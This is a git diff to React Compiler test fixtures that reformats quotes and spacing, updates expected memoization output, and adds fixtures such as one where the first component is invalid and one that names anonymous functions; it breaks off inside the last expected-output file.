diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-directive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-directive.js
index 2c027648be83..5a269d2471a0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-directive.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-directive.js
@@ -1,6 +1,6 @@
 function Component() {
-  "use foo";
-  "use bar";
+  'use foo';
+  'use bar';
   return <div>"foo"</div>;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-calls-to-hoisted-callback-from-other-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-calls-to-hoisted-callback-from-other-callback.expect.md
index 116ac02f1e3a..ba9b6684c9d5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-calls-to-hoisted-callback-from-other-callback.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-calls-to-hoisted-callback-from-other-callback.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useState } from "react";
+import {useState} from 'react';
 
 function Component(props) {
   const [_state, setState] = useState();
@@ -17,7 +17,7 @@ function Component(props) {
       </>
     );
   };
-  const onClick = (value) => {
+  const onClick = value => {
     setState(value);
   };
 
@@ -39,22 +39,19 @@ import { useState } from "react";
 
 function Component(props) {
   const $ = _c(1);
-  const [_state, setState] = useState();
+  const [, setState] = useState();
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     const a = () => b();
-
     const b = () => (
       <>
         <div onClick={() => onClick(true)}>a</div>
         <div onClick={() => onClick(false)}>b</div>
       </>
     );
-
     const onClick = (value) => {
       setState(value);
     };
-
     t0 = <div>{a()}</div>;
     $[0] = t0;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-calls-to-hoisted-callback-from-other-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-calls-to-hoisted-callback-from-other-callback.js
index 9467a910312e..8d7c9fc1138e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-calls-to-hoisted-callback-from-other-callback.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-calls-to-hoisted-callback-from-other-callback.js
@@ -1,4 +1,4 @@
-import { useState } from "react";
+import {useState} from 'react';
 
 function Component(props) {
   const [_state, setState] = useState();
@@ -13,7 +13,7 @@ function Component(props) {
       </>
     );
   };
-  const onClick = (value) => {
+  const onClick = value => {
     setState(value);
   };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-components-first-is-invalid.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-components-first-is-invalid.expect.md
new file mode 100644
index 000000000000..13e67f0e4909
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-components-first-is-invalid.expect.md
@@ -0,0 +1,50 @@
+
+## Input
+
+```javascript
+// @panicThreshold:"none"
+import {useHook} from 'shared-runtime';
+
+function InvalidComponent(props) {
+  if (props.cond) {
+    useHook();
+  }
+  return <div>Hello World!</div>;
+}
+
+function ValidComponent(props) {
+  return <div>{props.greeting}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @panicThreshold:"none"
+import { useHook } from "shared-runtime";
+
+function InvalidComponent(props) {
+  if (props.cond) {
+    useHook();
+  }
+  return <div>Hello World!</div>;
+}
+
+function ValidComponent(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.greeting) {
+    t0 = <div>{props.greeting}</div>;
+    $[0] = props.greeting;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-components-first-is-invalid.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-components-first-is-invalid.js
new file mode 100644
index 000000000000..80f9bdd1092f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multiple-components-first-is-invalid.js
@@ -0,0 +1,13 @@
+// @panicThreshold:"none"
+import {useHook} from 'shared-runtime';
+
+function InvalidComponent(props) {
+  if (props.cond) {
+    useHook();
+  }
+  return <div>Hello World!</div>;
+}
+
+function ValidComponent(props) {
+  return <div>{props.greeting}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-loops.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-loops.expect.md
index ec64952cf7ec..dacee7424408 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-loops.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-loops.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function mutate(x, y) {
-  "use no forget";
+  'use no forget';
   if (x != null) {
     x.value = (x.value ?? 0) + 1;
   }
@@ -12,7 +12,7 @@ function mutate(x, y) {
   }
 }
 function cond(x) {
-  "use no forget";
+  'use no forget';
   return x.value > 5;
 }
 
@@ -46,7 +46,7 @@ function testFunction(props) {
   }
 
   mutate(d, null);
-  return { a, b, c, d };
+  return {a, b, c, d};
 }
 
 export const FIXTURE_ENTRYPOINT = {
@@ -102,7 +102,6 @@ function testFunction(props) {
     }
     if (d) {
     }
-
     mutate(d, null);
     t0 = { a, b, c, d };
     $[0] = t0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-loops.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-loops.js
index 821221da2377..7e4e32813fad 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-loops.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-loops.js
@@ -1,5 +1,5 @@
 function mutate(x, y) {
-  "use no forget";
+  'use no forget';
   if (x != null) {
     x.value = (x.value ?? 0) + 1;
   }
@@ -8,7 +8,7 @@ function mutate(x, y) {
   }
 }
 function cond(x) {
-  "use no forget";
+  'use no forget';
   return x.value > 5;
 }
 
@@ -42,7 +42,7 @@ function testFunction(props) {
   }
 
   mutate(d, null);
-  return { a, b, c, d };
+  return {a, b, c, d};
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-with-aliasing.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-with-aliasing.expect.md
index 0fd482ea4d04..8510bd2ecc8b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-with-aliasing.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-with-aliasing.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function mutate(x, y) {
-  "use no forget";
+  'use no forget';
   if (!Array.isArray(x.value)) {
     x.value = [];
   }
@@ -17,7 +17,7 @@ function Component(props) {
   const a = {};
   const b = [a]; // array elements alias
   const c = {};
-  const d = { c }; // object values alias
+  const d = {c}; // object values alias
 
   // capture all the values into this object
   const x = {};
@@ -74,18 +74,22 @@ function Component(props) {
     const b = [a];
     const c = {};
     const d = { c };
-
     x = {};
     x.b = b;
     const y = mutate(x, d);
+
     if (a) {
     }
+
     if (b) {
     }
+
     if (c) {
     }
+
     if (d) {
     }
+
     if (y) {
     }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-with-aliasing.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-with-aliasing.js
index 8a294c5c19b4..8b1d3e8fa57d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-with-aliasing.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-lifetime-with-aliasing.js
@@ -1,5 +1,5 @@
 function mutate(x, y) {
-  "use no forget";
+  'use no forget';
   if (!Array.isArray(x.value)) {
     x.value = [];
   }
@@ -13,7 +13,7 @@ function Component(props) {
   const a = {};
   const b = [a]; // array elements alias
   const c = {};
-  const d = { c }; // object values alias
+  const d = {c}; // object values alias
 
   // capture all the values into this object
   const x = {};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-liverange-loop.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-liverange-loop.expect.md
index 62501bfb6fba..b28a96361b8c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-liverange-loop.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutable-liverange-loop.expect.md
@@ -51,12 +51,16 @@ function Component(props) {
       break;
     }
   }
+
   if (a) {
   }
+
   if (b) {
   }
+
   if (c) {
   }
+
   if (d) {
   }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-captured-arg-separately.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-captured-arg-separately.expect.md
new file mode 100644
index 000000000000..f3f21f8f6222
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-captured-arg-separately.expect.md
@@ -0,0 +1,56 @@
+
+## Input
+
+```javascript
+function component(a) {
+  let y = function () {
+    m(x);
+  };
+
+  let x = {a};
+  m(x);
+  return y;
+}
+
+function m(x) {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: component,
+  params: [{name: 'Jason'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function component(a) {
+  const $ = _c(2);
+  let y;
+  if ($[0] !== a) {
+    y = function () {
+      m(x);
+    };
+
+    let x = { a };
+    m(x);
+    $[0] = a;
+    $[1] = y;
+  } else {
+    y = $[1];
+  }
+  return y;
+}
+
+function m(x) {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: component,
+  params: [{ name: "Jason" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) "[[ function params=0 ]]"
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-captured-arg-separately.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-captured-arg-separately.js
new file mode 100644
index 000000000000..9985aea7f2fc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-captured-arg-separately.js
@@ -0,0 +1,16 @@
+function component(a) {
+  let y = function () {
+    m(x);
+  };
+
+  let x = {a};
+  m(x);
+  return y;
+}
+
+function m(x) {}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: component,
+  params: [{name: 'Jason'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-outer-scope-within-value-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-outer-scope-within-value-block.expect.md
index 61029f602f15..4633a1f80729 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-outer-scope-within-value-block.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-outer-scope-within-value-block.expect.md
@@ -2,7 +2,9 @@
 ## Input
 
 ```javascript
-import { CONST_TRUE, identity, shallowCopy } from "shared-runtime";
+import {CONST_TRUE, identity, shallowCopy} from 'shared-runtime';
+
+function mutate(_: unknown) {}
 
 /**
  * There are three values with their own scopes in this fixture.
@@ -25,16 +27,16 @@ import { CONST_TRUE, identity, shallowCopy } from "shared-runtime";
  * Observe that instruction 5 mutates scope 0, which means that scopes 0 and 2
  * should be merged.
  */
-function useFoo({ input }) {
+function useFoo({input}) {
   const arr = shallowCopy(input);
 
   const cond = identity(false);
-  return cond ? { val: CONST_TRUE } : mutate(arr);
+  return cond ? {val: CONST_TRUE} : mutate(arr);
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: 3 }],
+  params: [{input: 3}],
 };
 
 ```
@@ -45,6 +47,8 @@ export const FIXTURE_ENTRYPOINT = {
 import { c as _c } from "react/compiler-runtime";
 import { CONST_TRUE, identity, shallowCopy } from "shared-runtime";
 
+function mutate(_) {}
+
 /**
  * There are three values with their own scopes in this fixture.
  * - arr, whose mutable range extends to the `mutate(...)` call
@@ -72,7 +76,6 @@ function useFoo(t0) {
   let t1;
   if ($[0] !== input) {
     const arr = shallowCopy(input);
-
     const cond = identity(false);
     t1 = cond ? { val: CONST_TRUE } : mutate(arr);
     $[0] = input;
@@ -91,4 +94,4 @@ export const FIXTURE_ENTRYPOINT = {
 ```
       
 ### Eval output
-(kind: exception) mutate is not defined
\ No newline at end of file
+(kind: ok) 
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-outer-scope-within-value-block.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-outer-scope-within-value-block.ts
index a3b611d5d8a1..fd4452bebbd8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-outer-scope-within-value-block.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutate-outer-scope-within-value-block.ts
@@ -1,4 +1,6 @@
-import { CONST_TRUE, identity, shallowCopy } from "shared-runtime";
+import {CONST_TRUE, identity, shallowCopy} from 'shared-runtime';
+
+function mutate(_: unknown) {}
 
 /**
  * There are three values with their own scopes in this fixture.
@@ -21,14 +23,14 @@ import { CONST_TRUE, identity, shallowCopy } from "shared-runtime";
  * Observe that instruction 5 mutates scope 0, which means that scopes 0 and 2
  * should be merged.
  */
-function useFoo({ input }) {
+function useFoo({input}) {
   const arr = shallowCopy(input);
 
   const cond = identity(false);
-  return cond ? { val: CONST_TRUE } : mutate(arr);
+  return cond ? {val: CONST_TRUE} : mutate(arr);
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ input: 3 }],
+  params: [{input: 3}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-during-jsx-construction.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-during-jsx-construction.expect.md
index d1f8165d61b9..b60832af6676 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-during-jsx-construction.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-during-jsx-construction.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { identity, mutate, mutateAndReturnNewValue } from "shared-runtime";
+import {identity, mutate, mutateAndReturnNewValue} from 'shared-runtime';
 
 function Component(props) {
   const key = {};
@@ -16,7 +16,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
@@ -32,7 +32,6 @@ function Component(props) {
   let element;
   if ($[0] !== props.value) {
     const key = {};
-
     element = <div key={mutateAndReturnNewValue(key)}>{props.value}</div>;
 
     mutate(key);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-during-jsx-construction.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-during-jsx-construction.js
index 1d7302bce5c3..3bb6eeae45ce 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-during-jsx-construction.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-during-jsx-construction.js
@@ -1,4 +1,4 @@
-import { identity, mutate, mutateAndReturnNewValue } from "shared-runtime";
+import {identity, mutate, mutateAndReturnNewValue} from 'shared-runtime';
 
 function Component(props) {
   const key = {};
@@ -12,5 +12,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-capture-and-mutablerange.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-capture-and-mutablerange.expect.md
index 79370f871350..408dd932854c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-capture-and-mutablerange.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-capture-and-mutablerange.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { mutate } from "shared-runtime";
+import {mutate} from 'shared-runtime';
 
 /**
  * This test fixture is similar to mutation-within-jsx. The only difference
@@ -14,9 +14,9 @@ import { mutate } from "shared-runtime";
  * memo blocks (which may lead to 'tearing', i.e. mutating one render's
  * values in a subsequent render.
  */
-function useFoo({ a, b }) {
+function useFoo({a, b}) {
   // x and y's scopes start here
-  const x = { a };
+  const x = {a};
   const y = [b];
   mutate(x);
   // z captures the result of `mutate(y)`, which may be aliased to `y`.
@@ -29,7 +29,7 @@ function useFoo({ a, b }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ a: 2, b: 3 }],
+  params: [{a: 2, b: 3}],
 };
 
 ```
@@ -58,7 +58,6 @@ function useFoo(t0) {
     const x = { a };
     const y = [b];
     mutate(x);
-
     z = [mutate(y)];
 
     mutate(y);
@@ -68,6 +67,7 @@ function useFoo(t0) {
   } else {
     z = $[2];
   }
+
   return z;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-capture-and-mutablerange.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-capture-and-mutablerange.tsx
index cd3baf024f8e..52aae3a78b41 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-capture-and-mutablerange.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-capture-and-mutablerange.tsx
@@ -1,4 +1,4 @@
-import { mutate } from "shared-runtime";
+import {mutate} from 'shared-runtime';
 
 /**
  * This test fixture is similar to mutation-within-jsx. The only difference
@@ -10,9 +10,9 @@ import { mutate } from "shared-runtime";
  * memo blocks (which may lead to 'tearing', i.e. mutating one render's
  * values in a subsequent render.
  */
-function useFoo({ a, b }) {
+function useFoo({a, b}) {
   // x and y's scopes start here
-  const x = { a };
+  const x = {a};
   const y = [b];
   mutate(x);
   // z captures the result of `mutate(y)`, which may be aliased to `y`.
@@ -25,5 +25,5 @@ function useFoo({ a, b }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ a: 2, b: 3 }],
+  params: [{a: 2, b: 3}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx-and-break.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx-and-break.expect.md
index 0092a99efb06..90884a477ebb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx-and-break.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx-and-break.expect.md
@@ -7,9 +7,9 @@ import {
   makeObject_Primitives,
   mutate,
   mutateAndReturn,
-} from "shared-runtime";
+} from 'shared-runtime';
 
-function useFoo({ data }) {
+function useFoo({data}) {
   let obj = null;
   let myDiv = null;
   label: {
@@ -28,10 +28,10 @@ function useFoo({ data }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ data: { cond: true, cond1: true } }],
+  params: [{data: {cond: true, cond1: true}}],
   sequentialRenders: [
-    { data: { cond: true, cond1: true } },
-    { data: { cond: true, cond1: true } },
+    {data: {cond: true, cond1: true}},
+    {data: {cond: true, cond1: true}},
   ],
 };
 
@@ -49,12 +49,12 @@ import {
 } from "shared-runtime";
 
 function useFoo(t0) {
-  const $ = _c(3);
+  const $ = _c(4);
   const { data } = t0;
   let obj;
   let myDiv = null;
-  bb0: if (data.cond) {
-    if ($[0] !== data.cond1) {
+  if ($[0] !== data.cond || $[1] !== data.cond1) {
+    bb0: if (data.cond) {
       obj = makeObject_Primitives();
       if (data.cond1) {
         myDiv = <Stringify value={mutateAndReturn(obj)} />;
@@ -62,14 +62,16 @@ function useFoo(t0) {
       }
 
       mutate(obj);
-      $[0] = data.cond1;
-      $[1] = obj;
-      $[2] = myDiv;
-    } else {
-      obj = $[1];
-      myDiv = $[2];
     }
+    $[0] = data.cond;
+    $[1] = data.cond1;
+    $[2] = obj;
+    $[3] = myDiv;
+  } else {
+    obj = $[2];
+    myDiv = $[3];
   }
+
   return myDiv;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx-and-break.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx-and-break.tsx
index 25b9987146e4..c3f6a778e2db 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx-and-break.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx-and-break.tsx
@@ -3,9 +3,9 @@ import {
   makeObject_Primitives,
   mutate,
   mutateAndReturn,
-} from "shared-runtime";
+} from 'shared-runtime';
 
-function useFoo({ data }) {
+function useFoo({data}) {
   let obj = null;
   let myDiv = null;
   label: {
@@ -24,9 +24,9 @@ function useFoo({ data }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ data: { cond: true, cond1: true } }],
+  params: [{data: {cond: true, cond1: true}}],
   sequentialRenders: [
-    { data: { cond: true, cond1: true } },
-    { data: { cond: true, cond1: true } },
+    {data: {cond: true, cond1: true}},
+    {data: {cond: true, cond1: true}},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx.expect.md
index 18d892ae6f7f..61f2b13c11e5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx.expect.md
@@ -6,7 +6,7 @@ import {
   Stringify,
   makeObject_Primitives,
   mutateAndReturn,
-} from "shared-runtime";
+} from 'shared-runtime';
 
 /**
  * In this example, the `<Stringify ... />` JSX block mutates then captures obj.
@@ -34,7 +34,7 @@ import {
  * a result, developers can never observe myDiv can aliasing a different value generation
  * than `obj` (e.g. the invariant `myDiv.props.value === obj` always holds).
  */
-function useFoo({ data }) {
+function useFoo({data}) {
   let obj = null;
   let myDiv = null;
   if (data.cond) {
@@ -48,10 +48,10 @@ function useFoo({ data }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ data: { cond: true, cond1: true } }],
+  params: [{data: {cond: true, cond1: true}}],
   sequentialRenders: [
-    { data: { cond: true, cond1: true } },
-    { data: { cond: true, cond1: true } },
+    {data: {cond: true, cond1: true}},
+    {data: {cond: true, cond1: true}},
   ],
 };
 
@@ -112,6 +112,7 @@ function useFoo(t0) {
       myDiv = $[2];
     }
   }
+
   return myDiv;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx.tsx
index 85caed935173..48a817e13ffd 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mutation-within-jsx.tsx
@@ -2,7 +2,7 @@ import {
   Stringify,
   makeObject_Primitives,
   mutateAndReturn,
-} from "shared-runtime";
+} from 'shared-runtime';
 
 /**
  * In this example, the `<Stringify ... />` JSX block mutates then captures obj.
@@ -30,7 +30,7 @@ import {
  * a result, developers can never observe myDiv can aliasing a different value generation
  * than `obj` (e.g. the invariant `myDiv.props.value === obj` always holds).
  */
-function useFoo({ data }) {
+function useFoo({data}) {
   let obj = null;
   let myDiv = null;
   if (data.cond) {
@@ -44,9 +44,9 @@ function useFoo({ data }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ data: { cond: true, cond1: true } }],
+  params: [{data: {cond: true, cond1: true}}],
   sequentialRenders: [
-    { data: { cond: true, cond1: true } },
-    { data: { cond: true, cond1: true } },
+    {data: {cond: true, cond1: true}},
+    {data: {cond: true, cond1: true}},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions-outline.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions-outline.expect.md
new file mode 100644
index 000000000000..a1267c6f8295
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions-outline.expect.md
@@ -0,0 +1,52 @@
+
+## Input
+
+```javascript
+// @enableNameAnonymousFunctions
+import {Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const onClick = () => {
+    console.log('hello!');
+  };
+  return <div onClick={onClick} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNameAnonymousFunctions
+import { Stringify } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(1);
+  const onClick = _ComponentOnClick;
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <div onClick={onClick} />;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+function _ComponentOnClick() {
+  console.log("hello!");
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions-outline.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions-outline.js
new file mode 100644
index 000000000000..0906cb928a8c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions-outline.js
@@ -0,0 +1,14 @@
+// @enableNameAnonymousFunctions
+import {Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const onClick = () => {
+    console.log('hello!');
+  };
+  return <div onClick={onClick} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions.expect.md
new file mode 100644
index 000000000000..6fccad7685b2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/name-anonymous-functions.expect.md
@@ -0,0 +1,289 @@
+
+## Input
+
+```javascript
+// @enableNameAnonymousFunctions
+
+import {useCallback, useEffect} from 'react';
+import {identity, Stringify, useIdentity} from 'shared-runtime';
+import * as SharedRuntime from 'shared-runtime';
+
+function Component(props) {
+  function named() {
+    const inner = () => props.named;
+    const innerIdentity = identity(() => props.named);
+    return inner(innerIdentity());
+  }
+  const callback = useCallback(() => {
+    return 'ok';
+  }, []);
+  const namedVariable = function () {
+    return props.namedVariable;
+  };
+  const methodCall = SharedRuntime.identity(() => props.methodCall);
+  const call = identity(() => props.call);
+  const builtinElementAttr = <div onClick={() => props.builtinElementAttr} />;
+  const namedElementAttr = <Stringify onClick={() => props.namedElementAttr} />;
+  const hookArgument = useIdentity(() => props.hookArgument);
+  useEffect(() => {
+    console.log(props.useEffect);
+    JSON.stringify(null, null, () => props.useEffect);
+    const g = () => props.useEffect;
+    console.log(g());
+  }, [props.useEffect]);
+  return (
+    <>
+      {named()}
+      {callback()}
+      {namedVariable()}
+      {methodCall()}
+      {call()}
+      {builtinElementAttr}
+      {namedElementAttr}
+      {hookArgument()}
+    </>
+  );
+}
+
+export const TODO_FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [
+    {
+      named: '<named>',
+      namedVariable: '<namedVariable>',
+      methodCall: '<methodCall>',
+      call: '<call>',
+      builtinElementAttr: '<builtinElementAttr>',
+      namedElementAttr: '<namedElementAttr>',
+      hookArgument: '<hookArgument>',
+      useEffect: '<useEffect>',
+    },
+  ],
+};
+
+```
+
+## Code
+
+```javascript
